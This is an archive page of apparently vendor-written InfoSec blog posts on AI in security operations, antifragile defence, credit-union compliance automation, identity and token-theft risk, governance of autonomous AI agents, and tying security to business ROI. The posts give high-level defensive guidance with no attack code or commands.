Category Archives: General InfoSec

AI in Cyber Defense: What Works Today vs. What’s Hype

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Practical Deployment Paths

Artificial Intelligence is no longer a futuristic buzzword in cybersecurity — it’s here, and defenders are being pressured on all sides: vendors pushing “AI‑enabled everything,” adversaries weaponizing generative models, and security teams trying to sort signal from noise. But the truth matters: mature security teams need clarity, realism, and practicable steps, not marketing claims or theoretical whitepapers that never leave the lab.

The Pain Point: Noise > Signal

Security teams are drowning in bold AI vendor claims, inflated promises of autonomous SOCs, and feature lists that promise effortless detection, response, and orchestration. Yet:

  • Budgets are tight.

  • Societies face increasing threats.

  • Teams lack measurable ROI from expensive, under‑deployed proof‑of‑concepts.

What’s missing is a clear taxonomy of what actually works today — and how to implement it in a way that yields measurable value, with metrics security leaders can trust.

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The Reality Check: AI Works — But Not Magically

It’s useful to start with a grounding observation: AI isn’t a magic wand.
When applied properly, it does elevate security outcomes, but only with purposeful integration into existing workflows.

Across the industry, practical AI applications today fall into a few consistent categories where benefits are real and demonstrable:

1. Detection and Triage

AI and machine learning are excellent at analyzing massive datasets to identify patterns and anomalies across logs, endpoint telemetry, and network traffic — far outperforming manual review at scale. This reduces alert noise and helps prioritize real threats. 

Practical deployment path:

  • Integrate AI‑enhanced analytics into your SIEM/XDR.

  • Focus first on anomaly detection and false‑positive reduction — not instant response automation.

Success metrics to track:

  • False positive rate reduction

  • Mean Time to Detect (MTTD)

2. Automated Triage & Enrichment

AI can enrich alerts with contextual data (asset criticality, identity context, threat intelligence) and triage them so analysts spend time on real incidents. 

Practical deployment path:

  • Connect your AI engine to log sources and enrichment feeds.

  • Start with automated triage and enrichment before automation of response.

Success metrics to track:

  • Alerts escalated vs alerts suppressed

  • Analyst workload reduction

3. Accelerated Incident Response Workflows

AI can power playbooks that automate parts of incident handling — not the entire response — such as containment, enrichment, or scripted remediation tasks. 

Practical deployment path:

  • Build modular SOAR playbooks that call AI models for specific tasks, not full control.

  • Always keep a human‑in‑the‑loop for high‑impact decisions.

Success metrics to track:

  • Reduced Mean Time to Respond (MTTR)

  • Accuracy of automated actions

What’s Hype (or Premature)?

While some applications are working today, others are still aspirational or speculative:

❌ Fully Autonomous SOCs

Vendor claims of SOC teams run entirely by AI that needs minimal human oversight are overblown at present. AI excels at assistance, not autonomous defense decision‑making without human‑in‑the‑loop review. 

❌ Predictive AI That “Anticipates All Attacks”

There are promising approaches in predictive analytics, but true prediction of unknown attacks with high fidelity is still research‑oriented. Real‑world deployments rarely provide reliable predictive control without heavy contextual tuning. 

❌ AI Agents With Full Control Over Remediations

Agentic AI — systems that take initiative across environments — are an exciting frontier, but their use in live environments remains early and risk‑laden. Expectations about autonomous agents running response workflows without strict guardrails are unrealistic (and risky). 

A Practical AI Use Case Taxonomy

A clear taxonomy helps differentiate today’s practical uses from tomorrow’s hype. Here’s a simple breakdown:

Category What Works Today Implementation Maturity
Detection Anomaly/Pattern detection in logs & network Mature
Triage & Enrichment Alert prioritization & context enrichment Mature
Automation Assistance Scripted, human‑supervised response tasks Growing
Predictive Intelligence Early insights, threat trend forecasting Emerging
Autonomous Defense Agents Research & controlled pilot only Experimental

Deployment Playbooks for 3 Practical Use Cases

1️⃣ AI‑Enhanced Log Triage

  • Objective: Reduce analyst time spent chasing false positives.

  • Steps:

    1. Integrate machine learning models into SIEM/XDR.

    2. Tune models on historical data.

    3. Establish feedback loops so analysts refine model behaviors.

  • Key metric: ROC curve for alert accuracy over time.

2️⃣ Phishing Detection & Response

  • Objective: Catch sophisticated phishing that signature engines miss.

  • Steps:

    1. Deploy NLP‑based scanning on inbound email streams.

    2. Integrate with threat intelligence and URL reputation sources.

    3. Automate quarantine actions with human review.

  • Key metric: Reduction in phishing click‑throughs or simulated phishing failure rates.

3️⃣ SOAR‑Augmented Incident Response

  • Objective: Speed incident handling with reliable automation segments.

  • Steps:

    1. Define response playbooks for containment and enrichment.

    2. Integrate AI for contextual enrichment and prioritization.

    3. Ensure manual checkpoints before broad remediation actions.

  • Key metric: MTTR before/after SOAR‑AI implementation.

Success Metrics That Actually Matter

To beat the hype, track metrics that tie back to business outcomes, not vendor marketing claims:

  • MTTD (Mean Time to Detect)

  • MTTR (Mean Time to Respond)

  • False Positive/Negative Rates

  • Analyst Productivity Gains

  • Time Saved in Triage & Enrichment

Lessons from AI Deployment Failures

Across the industry, failed AI deployments often stem from:

  • Poor data quality: Garbage in, garbage out. AI needs clean, normalized, enriched data. 

  • Lack of guardrails: Deploying AI without human checkpoints breeds costly mistakes.

  • Ambiguous success criteria: Projects without business‑aligned ROI metrics rarely survive.

Conclusion: AI Is an Accelerator, Not a Replacement

AI isn’t a threat to jobs — it’s a force multiplier when responsibly integrated. Teams that succeed treat AI as a partner in routine tasks, not an oracle or autonomous commander. With well‑scoped deployment paths, clear success metrics, and human‑in‑the‑loop guardrails, AI can deliver real, measurable benefits today — even as the field continues to evolve.

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Antifragility in the Age of Cyber Extremistan

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Why Building Cybersecurity Like the Human Immune System Is the Only Strategy That Survives the Unknown

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We don’t live in “Mediocristan” anymore.

In the controlled world of Gaussian curves and predictable outcomes, most security strategies make sense—if you’re still living in the realm where human height and blood pressure are your biggest threats. But for cybersecurity practitioners, the real world looks more like “Extremistan”—the place where Black Swan events dominate, where a single breach can wipe out decades of effort, and where average behavior is not just irrelevant, it’s dangerously misleading.

That’s the world Nassim Taleb described in The Black Swan, and it’s the reality we live in every day as defenders of digital infrastructure.

And if you’re using traditional models to manage cyber risk in this world, you’re probably optimizing for failure.

From Robust to Antifragile: Why Survival Isn’t Enough

Taleb coined the term antifragile to describe systems that don’t just resist chaos—they improve because of it. It’s the difference between a glass that doesn’t break and a muscle that gets stronger after lifting heavy weight. Most security programs are designed to be robust—resilient under stress. But that’s not enough. Resilience still assumes a limit. Once you pass the red line, you break.

To thrive in Extremistan, we need to design systems that learn from stress, that benefit from volatility, and that get stronger every time they get punched in the face.

1. Security by Subtraction (Via Negativa)

In medicine, there’s a term called iatrogenics—harm caused by the treatment itself. Sound familiar? That’s what happens when a security stack becomes so bloated with overlapping agents, dashboards, and tools that it becomes its own attack surface.

Antifragile security starts with subtraction:

  • Decommission Legacy: Every unmonitored web server from 2009 you forgot about is a potential ruin event.

  • Minimize Privilege: If your domain admin group has more people than your bowling team, you’re in trouble.

  • Simplify, Aggressively: Complexity is fragility disguised as maturity.

Less isn’t just more—it’s safer.

2. Controlled Stressors: Hormesis for Systems

An immune system kept in a bubble weakens. One that’s constantly challenged becomes elite. The same goes for cyber defenses.

  • Red Teams as Immune Response Training: Stop treating red teams as adversaries. They’re your vaccine.

  • Chaos Engineering: Don’t just test recovery—induce failure. Intentionally break things. Break them often. Learn faster than your adversaries.

  • Study the Misses: Every alert that almost mattered is gold dust. Train on it.

This isn’t about drills. It’s about muscle memory.

3. The Barbell Strategy: Secure Boring + Wild Bets

One of Taleb’s more underappreciated ideas is the barbell strategy: extreme conservatism on one end, high-risk/high-reward exploration on the other. Nothing in the middle.

  • 90%: Lock down the basics. IG1 controls. Patching. Backups. Privilege minimization. The boring stuff that wins wars.

  • 10%: Invest in weird, bleeding-edge experiments. Behavioral traps. Decoy data. Offensive ML. This is your lab.

Never bet on “average” security tools. That’s how you end up with a little risk everywhere—and a big hole somewhere you didn’t expect.

4. Skin in the Game: Incentives That Matter

When the people making decisions don’t bear the cost of failure, systems rot from within.

  • Vendors Must Own Risk: If your EDR vendor can disclaim all liability for failure, they’ve got no skin in your game.

  • On-Call Developers: If they wrote the code, they stay up with it. The best SLAs are fear and pride.

  • Risk-Based Compensation: CISOs must have financial incentives tied to post-incident impact, not checkbox compliance.

Fragility flourishes in environments where blame is diffuse and consequences are someone else’s problem.

5. Tail Risk and the Absorbing Barrier

Most CIS frameworks are built to mitigate average risk. But in Extremistan, ruin is what you plan for. The difference? A thousand phishing attempts don’t matter if one spear phish opens the gates.

  • Design for Blast Radius: Assume breach. Isolate domains. Install circuit breakers in your architecture.

  • Plan for the Unseen: Run tabletop exercises where the scenario doesn’t exist in your IR plan. If that makes your team uncomfortable, you’re doing it right.

  • Offline Backups Are Sacred: If they touch the internet, they’re not a backup—they’re bait.

There are no do-overs after ruin.

6. Beware the Turkey Problem

A turkey fed every day believes the butcher loves him—until Thanksgiving. A network with zero incidents for three years might just be a turkey.

  • Continuous Validation, Not Annual Audits: Trust your controls as much as you test them.

  • Negative Empiricism: Don’t learn from the shiny success story. Learn from the company that got wrecked.

You are not safe because nothing has happened. You are safe when you have survived what should have killed you.

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Closing Thought: Security as Immune System, Not Armor

If you’re still thinking of your security stack as armor—hard shell, resist all—you’re already brittle. Instead, think biology. Think immune system. Think antifragility.

Expose your system to small, survivable threats. Learn from every wound. Build muscle. Be lean, not large. Be hard to kill, not hard to touch.

In a world governed by Extremistan, the best cybersecurity strategy isn’t to avoid failure—it’s to get stronger every time you fail.

Because someday, something will break through. The question is—will you be better afterward, or gone completely?

 

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Modernizing Compliance: An OSCAR-Inspired Approach to Automation for Credit Unions in 2026

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As credit unions navigate an increasingly complex regulatory landscape in 2026—balancing cybersecurity mandates, fair lending requirements, and evolving privacy laws—the case for modern, automated compliance operations has never been stronger. Yet many small and mid-sized credit unions still rely heavily on manual workflows, spreadsheets, and after-the-fact audits to stay within regulatory bounds.

To meet these challenges with limited resources, it’s time to rethink how compliance is operationalized—not just documented. And one surprising source of inspiration comes from a system many credit unions already touch: e‑OSCAR.

E compliance

What Is “OSCAR-Style” Compliance?

The e‑OSCAR platform revolutionized how credit reporting disputes are processed—automating a once-manual, error-prone task with standardized electronic workflows, centralized audit logs, and automated evidence generation. That same principle—automating repeatable, rule-driven compliance actions and connecting systems through a unified, traceable framework—can and should be applied to broader compliance areas.

An “OSCAR-style” approach means moving from fragmented checklists to automated, event-driven compliance workflows, where policy triggers launch processes without human lag or ambiguity. It also means tighter integration across systems, real-time monitoring of risks, and ready-to-go audit evidence built into daily operations.

Why Now? The 2026 Compliance Pressure Cooker

For credit unions, 2026 brings a convergence of pressures:

  • New AI and automated decision-making laws (especially at the state level) require detailed documentation of how member data and lending decisions are handled.

  • BSA/AML enforcement is tightening, with regulators demanding faster responses and proactive alerts.

  • NCUA is signaling closer cyber compliance alignment with FFIEC’s CAT and other maturity models, especially in light of public-sector ransomware trends.

  • Exam cycles are accelerating, and “show your work” now means “prove your controls with logs and process automation.”

Small teams can’t keep up with these expectations using legacy methods. The answer isn’t hiring more staff—it’s changing the model.

The Core Pillars of an OSCAR-Inspired Compliance Model

  1. Event-Driven Automation
    Triggers like a new member onboarding, a flagged transaction, or a regulatory update initiate prebuilt compliance workflows—notifications, actions, escalations—automatically.

  2. Standardized, Machine-Readable Workflows
    Compliance obligations (e.g., Reg E, BSA alerts, annual disclosures) are encoded as reusable processes—not tribal knowledge.

  3. Connected Systems & Data Flows
    APIs and batch exchanges tie together core banking, compliance, cybersecurity, and reporting systems—just like e‑OSCAR connects furnishers and bureaus.

  4. Real-Time Risk Detection
    Anomalies and policy deviations are detected automatically and trigger workflows before they become audit findings.

  5. Automated Evidence & Audit Trails
    Every action taken is logged and time-stamped, ready for examiners, with zero manual folder-building.

How Credit Unions Can Get Started in 2026

1. Begin with Your Pain Points
Where are you most at risk? Where do tasks fall through the cracks? Focus on high-volume, highly regulated areas like BSA/AML, disclosures, or cybersecurity incident reporting.

2. Inventory Obligations and Map to Triggers
Define the events that should launch compliance workflows—new accounts, flagged alerts, regulatory updates.

3. Pilot Automation Tools
Leverage low-code workflow engines or credit-union-friendly GRC platforms. Ensure they allow for API integration, audit logging, and dashboard oversight.

4. Shift from “Tracking” to “Triggering”
Replace compliance checklists with rule-based workflows. Instead of “Did we file the SAR?” it’s “Did the flagged transaction automatically escalate into SAR review with evidence attached?”

✅ More Info & Help: Partner with Experts to Bring OSCAR-Style Compliance to Life

Implementing an OSCAR-inspired compliance framework may sound complex—but you don’t have to go it alone. Whether you’re starting from a blank slate or evolving an existing compliance program, the right partner can accelerate your progress and reduce risk.

MicroSolved, Inc. has deep experience supporting credit unions through every phase of cybersecurity and compliance transformation. Through our Consulting & vCISO (Virtual Chief Information Security Officer) program, we provide tailored, hands-on guidance to help:

  • Assess current compliance operations and identify automation opportunities

  • Build strategic roadmaps and implementation blueprints

  • Select and integrate tools that match your budget and security posture

  • Establish automated workflows, triggers, and audit systems

  • Train your team on long-term governance and resilience

Whether you’re responding to new regulatory pressure or simply aiming to do more with less, our team helps you operationalize compliance without overloading staff or compromising control.

📩 Ready to start your 2026 planning with expert support?
Visit www.microsolved.com or contact us directly at info@microsolved.com to schedule a no-obligation strategy call.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Identity Security Is Now the #1 Attack Vector — and Most Organizations Are Not Architected for It

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How identity became the new perimeter

In 2025, identity is no longer simply a control at the edge of your network — it is the perimeter. As organizations adopt SaaS‑first strategies, hybrid work, remote access, and cloud identity federation, the traditional notion of network perimeter has collapsed. What remains is the identity layer — and attackers know it.

Today’s breaches often don’t involve malware, brute‑force password cracking, or noisy exploits. Instead, adversaries leverage stolen tokens, hijacked sessions, and compromised identity‑provider (IdP) infrastructure — all while appearing as legitimate users.

SyntheticID

That shift makes identity security not just another checkbox — but the foundation of enterprise defense.

Failure points of modern identity stacks

Even organizations that have deployed defenses like multi‑factor authentication (MFA), single sign‑on (SSO), and conditional access policies often remain vulnerable. Why? Because many identity architectures are:

  • Overly permissive — long‑lived tokens, excessive scopes, and flat permissioning.

  • Fragmented — identity data is scattered across IdPs, directories, cloud apps, and shadow IT.

  • Blind to session risk — session tokens are often unmonitored, allowing token theft and session hijacking to go unnoticed.

  • Incompatible with modern infrastructure — legacy IAMs often can’t handle dynamic, cloud-native, or hybrid environments.

In short: you can check off MFA, SSO, and PAM, and still be wide open to identity‑based compromise.

Token‑based attack: A walkthrough

Consider this realistic scenario:

  1. An employee logs in using SSO. The browser receives a token (OAuth or session cookie).

  2. A phishing attack — or adversary-in-the-middle (AiTM) — captures that token after the user completes MFA.

  3. The attacker imports the token into their browser and now impersonates the user — bypassing MFA.

  4. The attacker explores internal SaaS tools, installs backdoor OAuth apps, and escalates privileges — all without tripping alarms.

A single stolen token can unlock everything.

Building identity security from first principles

The modern identity stack must be redesigned around the realities of today’s attacks:

  • Identity is the perimeter — access should flow through hardened, monitored, and policy-enforced IdPs.

  • Session analytics is a must — don’t just authenticate at login. Monitor behavior continuously throughout the session.

  • Token lifecycle control — enforce short token lifetimes, minimize scopes, and revoke unused sessions immediately.

  • Unify the view — consolidate visibility across all human and machine identities, across SaaS and cloud.

How to secure identity for SaaS-first orgs

For SaaS-heavy and hybrid-cloud organizations, these practices are key:

  • Use a secure, enterprise-grade IdP

  • Implement phishing-resistant MFA (e.g., hardware keys, passkeys)

  • Enforce context-aware access policies

  • Monitor and analyze every identity session in real time

  • Treat machine identities as equal in risk and value to human users

Blueprint: continuous identity hygiene

Use systems thinking to model identity as an interconnected ecosystem:

  • Pareto principle — 20% of misconfigurations lead to 80% of breaches.

  • Inversion — map how you would attack your identity infrastructure.

  • Compounding — small permissions or weak tokens can escalate rapidly.

Core practices:

  • Short-lived tokens and ephemeral access

  • Just-in-time and least privilege permissions

  • Session monitoring and token revocation pipelines

  • OAuth and SSO app inventory and control

  • Unified identity visibility across environments

30‑Day Identity Rationalization Action Plan

Day Action
1–3 Inventory all identities — human, machine, and service.
4–7 Harden your IdP; audit key management.
8–14 Enforce phishing-resistant MFA organization-wide.
15–18 Apply risk-based access policies.
19–22 Revoke stale or long-lived tokens.
23–26 Deploy session monitoring and anomaly detection.
27–30 Audit and rationalize privileges and unused accounts.

More Information

If you’re unsure where to start, ask these questions:

  • How many active OAuth grants are in our environment?

  • Are we monitoring session behavior after login?

  • When was the last identity privilege audit performed?

  • Can we detect token theft in real time?

If any of those are difficult to answer — you’re not alone. Most organizations aren’t architected to handle identity as the new perimeter. But the gap between today’s risks and tomorrow’s solutions is closing fast — and the time to address it is now.

Help from MicroSolved, Inc.

At MicroSolved, Inc., we’ve helped organizations evolve their identity security models for more than 30 years. Our experts can:

  • Audit your current identity architecture and token hygiene

  • Map identity-related escalation paths

  • Deploy behavioral identity monitoring and continuous session analytics

  • Coach your team on modern IAM design principles

  • Build a 90-day roadmap for secure, unified identity operations

Let’s work together to harden identity before it becomes your organization’s softest target. Contact us at microsolved.com to start your identity security assessment.

References

  1. BankInfoSecurity – “Identity Under Siege: Enterprises Are Feeling It”

  2. SecurityReviewMag – “Identity Security in 2025”

  3. CyberArk – “Lurking Threats in Post-Authentication Sessions”

  4. Kaseya – “What Is Token Theft?”

  5. CrowdStrike – “Identity Attacks in the Wild”

  6. Wing Security – “How to Minimize Identity-Based Attacks in SaaS”

  7. SentinelOne – “Identity Provider Security”

  8. Thales Group – “What Is Identity Security?”

  9. System4u – “Identity Security in 2025: What’s Evolving?”

  10. DoControl – “How to Stop Compromised Account Attacks in SaaS”

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Non-Human Identities & Agentic Risk:

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The Security Implications of Autonomous AI Agents in the Enterprise

Over the last year, we’ve watched autonomous AI agents — not the chatbots everyone experimented with in 2023, but actual agentic systems capable of chaining tasks, managing workflows, and making decisions without a human in the loop — move from experimental toys into enterprise production. Quietly, and often without much governance, they’re being wired into pipelines, automation stacks, customer-facing systems, and even security operations.

And we’re treating them like they’re just another tool.

They’re not.

These systems represent a new class of non-human identity: entities that act with intent, hold credentials, make requests, trigger processes, and influence outcomes in ways we previously only associated with humans or tightly-scoped service accounts. But unlike a cron job or a daemon, today’s AI agents are capable of learning, improvising, escalating tasks, and — in some cases — creating new agents on their own.

That means our security model, which is still overwhelmingly human-centric, is about to be stress-tested in a very real way.

Let’s unpack what that means for organizations.

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Why AI Agents Must Be Treated as Identities

Historically, enterprises have understood identity in human terms: employees, contractors, customers. Then we added service accounts, bots, workloads, and machine identities. Each expansion required a shift in thinking.

Agentic AI forces the next shift.

These systems:

  • Authenticate to APIs and services

  • Consume and produce sensitive data

  • Modify cloud or on-prem environments

  • Take autonomous action based on internal logic or model inference

  • Operate 24/7 without oversight

If that doesn’t describe an “identity,” nothing does.

But unlike service accounts, agentic systems have:

  • Adaptive autonomy – they make novel decisions, not just predictable ones

  • Stateful memory – they remember and leverage data over time

  • Dynamic scope – their “job description” can expand as they chain tasks

  • Creation abilities – some agents can spawn additional agents or processes

This creates an identity that behaves more like an intern with root access than a script with scoped permissions.

That’s where the trouble starts.

What Could Go Wrong? (Spoiler: A Lot)

Most organizations don’t yet have guardrails for agentic behavior. When these systems fail — or are manipulated — the impacts can be immediate and severe.

1. Credential Misuse

Agents often need API keys, tokens, or delegated access.
Developers tend to over-provision them “just to get things working,” and suddenly you’ve got a non-human identity with enough privilege to move laterally or access sensitive datasets.

2. Data Leakage

Many agents interact with third-party models or hosted pipelines.
If prompts or context windows inadvertently contain sensitive data, that information can be exposed, logged externally, or retained in ways the enterprise can’t control.

3. Shadow-Agent Proliferation

We’ve already seen teams quietly spin up ChatGPT agents, GitHub Copilot agents, workflow bots, or LangChain automations.

In 2025, shadow IT has a new frontier:
Shadow agents — autonomous systems no one approved, no one monitors, and no one even knows exist.

4. Supply-Chain Manipulation

Agents pulling from package repositories or external APIs can be tricked into consuming malicious components. Worse, an autonomous agent that “helpfully” recommends or installs updates can unintentionally introduce compromised dependencies.

5. Runaway Autonomy

While “rogue AI” sounds sci-fi, in practice it looks like:

  • An agent looping transactions

  • Creating new processes to complete a misinterpreted task

  • Auto-retrying in ways that amplify an error

  • Overwriting human input because the policy didn’t explicitly forbid it

Think of it as automation behaving badly — only faster, more creatively, and at scale.

A Framework for Agentic Hygiene

Organizations need a structured approach to securing autonomous agents. Here’s a practical baseline:

1. Identity Management

Treat agents as first-class citizens in your IAM strategy:

  • Unique identities

  • Managed lifecycle

  • Documented ownership

  • Distinct authentication mechanisms

2. Access Control

Least privilege isn’t optional — it’s survival.
And it must be dynamic, since agents can change tasks rapidly.

3. Audit Trails

Every agent action must be:

  • Traceable

  • Logged

  • Attributable

Otherwise incident response becomes guesswork.

4. Privilege Segregation

Separate agents by:

  • Sensitivity of operations

  • Data domains

  • Functional responsibilities

An agent that reads sales reports shouldn’t also modify Kubernetes manifests.

5. Continuous Monitoring

Agents don’t sleep.
Your monitoring can’t either.

Watch for:

  • Unexpected behaviors

  • Novel API call patterns

  • Rapid-fire task creation

  • Changes to permissions

  • Self-modifying workflows

6. Kill-Switches

Every agent must have a:

  • Disable flag

  • Credential revocation mechanism

  • Circuit breaker for runaway execution

If you can’t stop it instantly, you don’t control it.

7. Governance

Define:

  • Approval processes for new agents

  • Documentation expectations

  • Testing and sandboxing requirements

  • Security validation prior to deployment

Governance is what prevents “developer convenience” from becoming “enterprise catastrophe.”

Who Owns Agent Security?

This is one of the emerging fault lines inside organizations. Agentic AI crosses traditional silos:

  • Dev teams build them

  • Ops teams run them

  • Security teams are expected to secure them

  • Compliance teams have no framework to govern them

The most successful organizations will assign ownership to a cross-functional group — a hybrid of DevSecOps, architecture, and governance.

Someone must be accountable for every agent’s creation, operation, and retirement.
Otherwise, you’ll have a thousand autonomous processes wandering around your enterprise by 2026, and you’ll only know about a few dozen of them.

A Roadmap for Enterprise Readiness

Short-Term (0–6 months)

  • Inventory existing agents (you have more than you think).

  • Assign identity profiles and owners.

  • Implement basic least-privilege controls.

  • Create kill-switches for all agents in production.

Medium-Term (6–18 months)

  • Formalize agent governance processes.

  • Build centralized logging and monitoring.

  • Standardize onboarding/offboarding workflows for agents.

  • Assess all AI-related supply-chain dependencies.

Long-Term (18+ months)

  • Integrate agentic security into enterprise IAM.

  • Establish continuous red-team testing for agentic behavior.

  • Harden infrastructure for autonomous decision-making systems.

  • Prepare for regulatory obligations around non-human identities.

Agentic AI is not a fad — it’s a structural shift in how automation works.
Enterprises that prepare now will weather the change. Those that don’t will be chasing agents they never knew existed.

More Info & Help

If your organization is beginning to deploy AI agents — or if you suspect shadow agents are already proliferating inside your environment — now is the time to get ahead of the risk.

MicroSolved can help.
From enterprise AI governance to agentic threat modeling, identity management, and red-team evaluations of AI-driven workflows, MSI is already working with organizations to secure autonomous systems before they become tomorrow’s incident reports.

For more information or to talk through your environment, reach out to MicroSolved.
We’re here to help you build a safer, more resilient future.

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Racing Ahead of the AI‑Driven Cyber Arms Race

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Introduction

The cyber-threat landscape is shifting under our feet. Attacker tools powered by artificial intelligence (AI) and generative AI (Gen AI) are accelerating vulnerability discovery and exploitation, outpacing many traditional defence approaches. Organisations that delay adaptation risk being overtaken by adversaries. According to recent reporting, nearly half of organisations identify adversarial Gen AI advances as a top concern. With this blog, I walk through the current threat landscape, spotlight key attack vectors, explore defensive options, examine critical gaps, and propose a roadmap that security leaders should adopt now.

The Landscape: Vulnerabilities, AI Tools, and the Adversary Advantage

Attackers now exploit a converging set of forces: an increasing rate of disclosed vulnerabilities, the wide availability of AI/ML-based tools for crafting attacks, and automation that scales old-school tactics into far greater volume. One report notes 16% of reported incidents involved attackers leveraging AI tools like language or image generation models. Meanwhile, researchers warn that AI-generated threats could make up to 50% of all malware by 2025. Gen AI is now a game-changer for both attackers and defenders.

The sheer pace of vulnerability disclosure also matters. The more pathways available, the more that automation + AI can do damage. Gen AI will be the top driver of cybersecurity in 2024 and beyond—both for malicious actors and defenders.

The baseline for attackers is being elevated. The attacker toolkit is becoming smarter, faster and more scalable. Defenders must keep up — or fall behind.

Specific Threat Vectors to Watch

Deepfakes & Social Engineering

Realistic voice- and video-based deepfakes are no longer novel. They are entering the mainstream of social engineering campaigns. Gen AI enables image and language generation that significantly boosts attacker credibility.

Automated Spear‑Phishing & AI‑Assisted Content Generation

Attackers use Gen AI tools to generate personalised, plausible phishing lures and malicious payloads. LLMs make phishing scalable and more effective, turning what used to take hours into seconds.

Supply Chain & Model/API Exploitation

Third-party AI or ML services introduce new risks—prompt-injection, insecure model APIs, and adversarial data manipulation are all growing threats.

Polymorphic Malware & AI Evasion

AI now drives polymorphic malware capable of real-time mutation, evading traditional static defences. Reports cite that over 75% of phishing campaigns now include this evasion technique.

Defensive Approaches: What’s Working?

AI/ML for Detection and Response

Defenders are deploying AI for behaviour analytics, anomaly detection, and real-time incident response. Some AI systems now exceed 98% detection rates in high-risk environments.

Continuous Monitoring & Automation

Networks, endpoints, cloud workloads, and AI interactions must be continuously monitored. Automation enables rapid response at machine speed.

Threat Intelligence Platforms

These platforms enhance proactive defence by integrating real-time adversary TTPs into detection engines and response workflows.

Bug Bounty & Vulnerability Disclosure Programs

Crowdsourcing vulnerability detection helps organisations close exposure gaps before adversaries exploit them.

Challenges & Gaps in Current Defences

  • Many organisations still cannot respond at Gen AI speed.

  • Defensive postures are often reactive.

  • Legacy tools are untested against polymorphic or AI-powered threats.

  • Severe skills shortages in AI/cybersecurity crossover roles.

  • Data for training defensive models is often biased or incomplete.

  • Lack of governance around AI model usage and security.

Roadmap: How to Get Ahead

  1. Pilot AI/Automation – Start with small, measurable use cases.

  2. Integrate Threat Intelligence – Especially AI-specific adversary techniques.

  3. Model AI/Gen AI Threats – Include prompt injection, model misuse, identity spoofing.

  4. Continuous Improvement – Track detection, response, and incident metrics.

  5. Governance & Skills – Establish AI policy frameworks and upskill the team.

  6. Resilience Planning – Simulate AI-enabled threats to stress-test defences.

Metrics That Matter

  • Time to detect (TTD)

  • Number of AI/Gen AI-involved incidents

  • Mean time to respond (MTTR)

  • Alert automation ratio

  • Dwell time reduction

Conclusion

The cyber-arms race has entered a new era. AI and Gen AI are force multipliers for attackers. But they can also become our most powerful tools—if we invest now. Legacy security models won’t hold the line. Success demands intelligence-driven, AI-enabled, automation-powered defence built on governance and metrics.

The time to adapt isn’t next year. It’s now.

More Information & Help

At MicroSolved, Inc., we help organisations get ahead of emerging threats—especially those involving Gen AI and attacker automation. Our capabilities include:

  • AI/ML security architecture review and optimisation

  • Threat intelligence integration

  • Automated incident response solutions

  • AI supply chain threat modelling

  • Gen AI table-top simulations (e.g., deepfake, polymorphic malware)

  • Security performance metrics and strategy advisory

Contact Us:
🌐 microsolved.com
📧 info@microsolved.com
📞 +1 (614) 423‑8523

References

  1. IBM Cybersecurity Predictions for 2025

  2. Mayer Brown, 2025 Cyber Incident Trends

  3. WEF Global Cybersecurity Outlook 2025

  4. CyberMagazine, Gen AI Tops 2025 Trends

  5. Gartner Cybersecurity Trends 2025

  6. Syracuse University iSchool, AI in Cybersecurity

  7. DeepStrike, Surviving AI Cybersecurity Threats

  8. SentinelOne, Cybersecurity Statistics 2025

  9. Ahi et al., LLM Risks & Roadmaps, arXiv 2506.12088

  10. Lupinacci et al., Agent-based AI Attacks, arXiv 2507.06850

  11. Wikipedia, Prompt Injection

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Aligning Cybersecurity with Business Objectives & ROI

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Why the C-Suite must hear more than “We blocked X threats.”

Problem statement

Security teams around the world face a persistent challenge: articulating the value of cybersecurity in business terms—and thereby justifying budget and ROI. Too often the story falls into the “we reduced vulnerabilities” or “we blocked attacks” bucket, which resonates with the technical team—but not with the board, the CFO, or the business units. The result: under‑investment or misalignment of security with business goals.

In an era of tighter budgets and competing priorities, this gap has become urgent. Framing cybersecurity as a cost centre invites cuts; framing it as a business enabler invites investment.

Why business alignment matters

When security operates in a silo—focused purely on threats, alerts, tools—the conversation stays technical. But business leaders speak different language: revenue, growth, brand, customer trust. A recent analysis found that fewer than half of security organisations can tie controls to business impacts.

Misalignment leads to several risks:

  • Security investments that don’t map to the assets or processes that drive business value.

  • Metrics that matter to the security team but not to executives (e.g., number of vulnerabilities patched).

  • A perception of security as an overhead rather than a strategic lever.

  • Vulnerability to budget cuts or being deprioritised when executive attention shifts.

By aligning security with business objectives—whether that’s enabling cloud transformation, protecting key revenue streams, or ensuring operational continuity—security becomes part of the value chain, not just the defence chain.

Translating threat/risk into business impacts

One of the central tasks for today’s security leader is translation. It’s not enough to know that a breach could occur—it’s about articulating “if this happens, here’s what it cost the business.”

  • Determine the business value at risk: downtime, lost revenue, brand damage, regulatory fines.

  • Use financial terms whenever possible. For example: “A two‑week outage in our payments system could cost us $X in lost transactions, plus $Y in remediation, plus $Z in churn.”

  • Link initiatives to business outcomes: for example, “By reducing mean time to recover (MTTR) we reduce revenue downtime by N hours” rather than “we improved MTTR by X %.”

  • Employ frameworks such as the Gordon–Loeb model that help model optimal investment levels (though they require assumptions).

  • Recognise that not all value is in avoided loss; some lies in enabling business growth, winning deals because you have credible security, or supporting new business models.

Metrics and dashboards: shifting from tech to business

A recurring complaint: security dashboards measure what’s easy, not what’s meaningful. For example, counting “number of alerts” or “vulnerabilities remediated” is fine—but it doesn’t always tie to business risk.

More business‑centric metrics include:

  • Cost of breach avoided (or estimated)

  • Time to revenue recovery after an incident

  • Customer churn attributable to a security incident

  • Brand impact or contract losses following a breach or non‑compliance

  • Percentage of revenue protected by controls

  • Time to market or new product enabled because security risk was managed

Dashboards should present these in a language executives expect: dollars, days, revenue impact, strategic enablement. Security leaders who are business‑aligned reportedly are eight times more likely to be confident in reporting their organisation’s state of risk.

Frameworks that support alignment

To bridge the gap between security activity and business outcome, various frameworks and approaches help:

  • Use‑case based strategy: Define concrete security use‑cases (e.g., “we protect the digital sales channel from disruption”) and link them directly to business functions.

  • Enterprise architecture alignment: Map security controls into business processes, so protection of critical business services is visible.

  • Risk‑based approach: Rather than “patch everything,” focus on the assets and threats that, if realised, would damage business.

  • Governance and stakeholder structure: Organisations with a security‑business interface (e.g., a BISO) tend to align better.

